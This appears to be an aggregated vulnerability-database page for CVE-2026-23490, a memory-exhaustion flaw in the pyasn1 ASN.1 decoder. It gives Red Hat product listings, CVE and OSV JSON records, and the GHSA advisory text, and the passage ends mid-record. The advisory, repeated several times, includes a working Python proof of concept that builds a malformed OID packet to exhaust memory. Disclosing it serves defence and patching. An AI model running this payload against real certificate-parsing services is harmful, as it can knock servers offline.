cpe:/a:redhat:ansible_automation_platform:2.5::el8 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
Unaffected:
1777296732 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
Unaffected:
1777391447 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Ansible Automation Platform 2.6 |
Unaffected:
1780102732 , < *
(rpm)
cpe:/a:redhat:ansible_automation_platform:2.6::el9 |
|
| Red Hat | Red Hat Ceph Storage 8 |
Unaffected:
1774002867 , < *
(rpm)
cpe:/a:redhat:ceph_storage:8::el9 |
|
| Red Hat | Red Hat Enterprise Linux AI 3.3 |
Unaffected:
1778677745 , < *
(rpm)
cpe:/a:redhat:enterprise_linux_ai:3.3::el9 |
|
| Red Hat | Red Hat Enterprise Linux AI 3.3 |
Unaffected:
1778666124 , < *
(rpm)
cpe:/a:redhat:enterprise_linux_ai:3.3::el9 |
|
| Red Hat | Red Hat Migration Toolkit 1.8 |
Unaffected:
1783931722 , < *
(rpm)
cpe:/a:redhat:rhmt:1.8::el8 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1780069135 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1780069127 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783696512 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783696506 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783616068 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783998551 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783615385 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783664921 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783696507 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783696510 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783664711 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783664922 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783615414 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783998585 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783615165 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 2.25 |
Unaffected:
1783615432 , < *
(rpm)
cpe:/a:redhat:openshift_ai:2.25::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1778239104 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1778263407 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1778791600 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1779123334 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471587 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471672 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471678 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471731 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471732 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471849 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471734 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471879 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782472374 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471606 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471796 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471661 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471929 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471753 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471740 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471834 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471730 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471835 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenShift AI 3.3 |
Unaffected:
1782471697 , < *
(rpm)
cpe:/a:redhat:openshift_ai:3.3::el9 |
|
| Red Hat | Red Hat OpenStack 1.5 |
Unaffected:
1777452540 , < *
(rpm)
cpe:/a:redhat:stf:1.5::el9 |
|
| Red Hat | Red Hat OpenStack 1.5 |
Unaffected:
1777407251 , < *
(rpm)
cpe:/a:redhat:stf:1.5::el9 |
|
| Red Hat | Red Hat OpenStack 1.5 |
Unaffected:
1777436150 , < *
(rpm)
cpe:/a:redhat:stf:1.5::el9 |
|
| Red Hat | Red Hat OpenStack Services on OpenShift 18.0 |
Unaffected:
1782387549 , < *
(rpm)
cpe:/a:redhat:openstack:18.0::el9 |
|
| Red Hat | Red Hat Trusted Artifact Signer 1.3 |
Unaffected:
1780560117 , < *
(rpm)
cpe:/a:redhat:trusted_artifact_signer:1.3::el9 |
|
| Red Hat | Red Hat Trusted Artifact Signer 1.4 |
Unaffected:
1780914886 , < *
(rpm)
cpe:/a:redhat:trusted_artifact_signer:1.4::el9 |
|
| Red Hat | Red Hat Update Infrastructure 5 |
Unaffected:
1773670137 , < *
(rpm)
cpe:/a:redhat:rhui:5::el9 |
|
| Red Hat | Lightspeed Core |
cpe:/a:redhat:lightspeed_core
|
|
| Red Hat | Migration Toolkit for Containers |
cpe:/a:redhat:rhmt:1
|
|
| Red Hat | Migration Toolkit for Virtualization |
cpe:/a:redhat:migration_toolkit_virtualization:2
|
|
| Red Hat | OpenShift Lightspeed |
cpe:/a:redhat:openshift_lightspeed
|
|
| Red Hat | OpenShift Service Mesh 3 |
cpe:/a:redhat:service_mesh:3
|
|
| Red Hat | Red Hat AI Inference Server |
cpe:/a:redhat:ai_inference_server:3
|
|
| Red Hat | Red Hat Ansible Automation Platform 2 |
cpe:/a:redhat:ansible_automation_platform:2
|
|
| Red Hat | Red Hat Enterprise Linux 6 |
cpe:/o:redhat:enterprise_linux:6
|
|
| Red Hat | Red Hat OpenShift AI (RHOAI) |
cpe:/a:redhat:openshift_ai
|
|
| Red Hat | Red Hat OpenShift Container Platform 4 |
cpe:/a:redhat:openshift:4
|
|
| Red Hat | Red Hat Quay 3 |
cpe:/a:redhat:quay:3
|
|
| Red Hat | Red Hat Satellite 6 |
cpe:/a:redhat:satellite:6
|
{
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{
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"content": {
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{
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},
{
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},
{
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}
],
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"timestamp": "2026-01-16T19:23:28.531270Z",
"version": "2.0.3"
},
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}
}
],
"providerMetadata": {
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"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
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"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
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}
],
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{
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"value": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-01-16T19:03:36.442Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
},
{
"name": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
},
{
"name": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2",
"tags": [
"x_refsource_MISC"
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"url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
}
],
"source": {
"advisory": "GHSA-63vm-454h-vhhq",
"discovery": "UNKNOWN"
},
"title": "pyasn1 has a DoS vulnerability in decoder"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-23490",
"datePublished": "2026-01-16T19:03:36.442Z",
"dateReserved": "2026-01-13T15:47:41.628Z",
"dateUpdated": "2026-09-17T12:04:33.126Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-63VM-454H-VHHQ
Vulnerability from github – Published: 2026-01-16 19:19 – Updated: 2026-08-14 15:32
VLAI
Summary
pyasn1 has a DoS vulnerability in decoder
Details
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS:
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource
# Deliberately set memory limit to display PoC
try:
resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
print("[*] Memory limit set to 100MB")
except:
print("[-] Could not set memory limit")
# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])
print(f"[*] Testing with {payload_size_mb}MB payload...")
payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)
# DER length encoding (supports up to 4GB)
if length < 128:
length_bytes = bytes([length])
elif length < 256:
length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
# 4 bytes can handle up to 4GB
length_bytes = b'\x84' + length.to_bytes(4, 'big')
# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload
print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
try:
print("[*] Decoding (this may take time or exhaust memory)...")
result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully')
print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string
print('[*] Converting to string...')
try:
str_result = str(result[0])
print(f'[+] String succeeded: {len(str_result)} chars')
if len(str_result) > 10000:
print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
except MemoryError:
print(f'[-] MemoryError during string conversion!')
except Exception as e:
print(f'[-] {type(e).__name__} during string conversion')
except MemoryError:
print('[-] MemoryError: Out of memory!')
except Exception as e:
print(f'[-] Error: {type(e).__name__}: {e}')
print("\n[*] Test completed")
Screenshots with the results:
DoS
Leak analysis
A potential heap leak was investigated but came back clean:
[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin
[*] First 64 bytes (hex):
01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[*] First 64 bytes (ASCII/hex dump):
0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..
0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....
0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @.....
0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[*] Digit distribution analysis:
'0': 10.1%
'1': 9.9%
'2': 10.0%
'3': 9.9%
'4': 9.9%
'5': 10.0%
'6': 10.0%
'7': 10.0%
'8': 9.9%
'9': 10.1%
Scenario
- An attacker creates a malicious X.509 certificate.
- The application validates certificates.
- The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyasn1"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.1"
},
{
"fixed": "0.6.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.1"
]
}
],
"aliases": [
"CVE-2026-23490"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T19:19:25Z",
"nvd_published_at": "2026-01-16T19:16:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n length_bytes = bytes([length])\nelif length \u003c 256:\n length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f\u0027[+] Decoded successfully\u0027)\n print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n # Try to convert to string\n print(\u0027[*] Converting to string...\u0027)\n try:\n str_result = str(result[0])\n print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n if len(str_result) \u003e 10000:\n print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n except MemoryError:\n print(f\u0027[-] MemoryError during string conversion!\u0027)\n except Exception as e:\n print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n \u00270\u0027: 10.1%\n \u00271\u0027: 9.9%\n \u00272\u0027: 10.0%\n \u00273\u0027: 9.9%\n \u00274\u0027: 9.9%\n \u00275\u0027: 10.0%\n \u00276\u0027: 10.0%\n \u00277\u0027: 10.0%\n \u00278\u0027: 9.9%\n \u00279\u0027: 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
"id": "GHSA-63vm-454h-vhhq",
"modified": "2026-08-14T15:32:04Z",
"published": "2026-01-16T19:19:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
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{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:4148"
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{
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{
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},
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],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyasn1 has a DoS vulnerability in decoder"
}
PYSEC-2026-1810
Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 16:03
VLAI
Details
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS:
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource
# Deliberately set memory limit to display PoC
try:
resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
print("[*] Memory limit set to 100MB")
except:
print("[-] Could not set memory limit")
# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])
print(f"[*] Testing with {payload_size_mb}MB payload...")
payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)
# DER length encoding (supports up to 4GB)
if length < 128:
length_bytes = bytes([length])
elif length < 256:
length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
# 4 bytes can handle up to 4GB
length_bytes = b'\x84' + length.to_bytes(4, 'big')
# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload
print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
try:
print("[*] Decoding (this may take time or exhaust memory)...")
result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully')
print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string
print('[*] Converting to string...')
try:
str_result = str(result[0])
print(f'[+] String succeeded: {len(str_result)} chars')
if len(str_result) > 10000:
print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
except MemoryError:
print(f'[-] MemoryError during string conversion!')
except Exception as e:
print(f'[-] {type(e).__name__} during string conversion')
except MemoryError:
print('[-] MemoryError: Out of memory!')
except Exception as e:
print(f'[-] Error: {type(e).__name__}: {e}')
print("\n[*] Test completed")
Screenshots with the results:
DoS
Leak analysis
A potential heap leak was investigated but came back clean:
[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin
[*] First 64 bytes (hex):
01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[*] First 64 bytes (ASCII/hex dump):
0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..
0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....
0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @.....
0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[*] Digit distribution analysis:
'0': 10.1%
'1': 9.9%
'2': 10.0%
'3': 9.9%
'4': 9.9%
'5': 10.0%
'6': 10.0%
'7': 10.0%
'8': 9.9%
'9': 10.1%
Scenario
- An attacker creates a malicious X.509 certificate.
- The application validates certificates.
- The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
Severity
7.5 (High)
Impacted products
| Name | purl | pyasn1 | pkg:pypi/pyasn1 |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyasn1",
"purl": "pkg:pypi/pyasn1"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.1"
},
{
"fixed": "0.6.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.1"
]
}
],
"aliases": [
"CVE-2026-23490",
"GHSA-63vm-454h-vhhq"
],
"details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n length_bytes = bytes([length])\nelif length \u003c 256:\n length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f\u0027[+] Decoded successfully\u0027)\n print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n # Try to convert to string\n print(\u0027[*] Converting to string...\u0027)\n try:\n str_result = str(result[0])\n print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n if len(str_result) \u003e 10000:\n print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n except MemoryError:\n print(f\u0027[-] MemoryError during string conversion!\u0027)\n except Exception as e:\n print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 